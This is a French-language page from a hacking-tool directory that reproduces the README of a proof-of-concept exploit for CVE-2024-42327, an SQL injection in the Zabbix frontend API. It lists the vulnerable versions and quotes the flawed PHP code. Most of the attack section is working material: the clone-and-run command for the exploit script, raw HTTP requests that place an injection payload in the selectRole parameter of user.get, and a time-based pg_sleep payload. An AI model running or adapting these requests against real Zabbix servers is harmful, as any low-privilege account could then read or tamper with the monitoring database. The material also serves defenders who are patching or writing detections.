Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/depers-rus/cve-2024-42327
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubdepers-rus/cve-2024-42327

CVE-2024-42327

Exploit de preuve de concept pour CVE-2024-42327, une vulnérabilité d'injection SQL dans l'API frontend de Zabbix permettant aux utilisateurs non administrateurs d'exécuter des requêtes SQL arbitraires via la méthode user.get.

Voir le dépôt
3il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept et exploit pour CVE-2024-42327 / ZBX-25623

Un compte utilisateur non administrateur sur le frontend Zabbix avec le rôle Utilisateur par défaut, ou avec tout autre rôle donnant accès à l'API, peut exploiter cette vulnérabilité. Une injection SQL existe dans la classe CUser, dans la fonction addRelatedObjects, cette fonction étant appelée depuis la fonction CUser.get qui est disponible pour tout utilisateur ayant accès à l'API.

изображение

Versions vulnérables : 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0

Versions corrigées : 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1

Code vulnérable

root@kitploit:~
$db_roles = DBselect(
	'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
	' FROM users u,role r'.
	' WHERE u.roleid=r.roleid'.
	' AND '.dbConditionInt('u.userid', $userIds)
);

Utilisation de l'exploit :

root@kitploit:~
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"

Requête :

root@kitploit:~
POST /api_jsonrpc.php HTTP/1.1 Host: zabbix.xyz.ru Accept: */* Accept-Encoding: gzip, deflate Content-Length: 186 Content-Type: application/json {"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}" ], "userids": ["10" ]}, "auth": "---auth_token---", "id": 1}

Preuve de concept BurpSuite (SQLi basée sur le temps)

root@kitploit:~
SELECT pg_sleep(10)) AS DELAY
root@kitploit:~
POST /api_jsonrpc.php  HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json

{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}

Preuve

изображение

Références

  • https://support.zabbix.com/browse/ZBX-25623
  • https://nvd.nist.gov/vuln/detail/CVE-2024-42327
Télécharger l’outil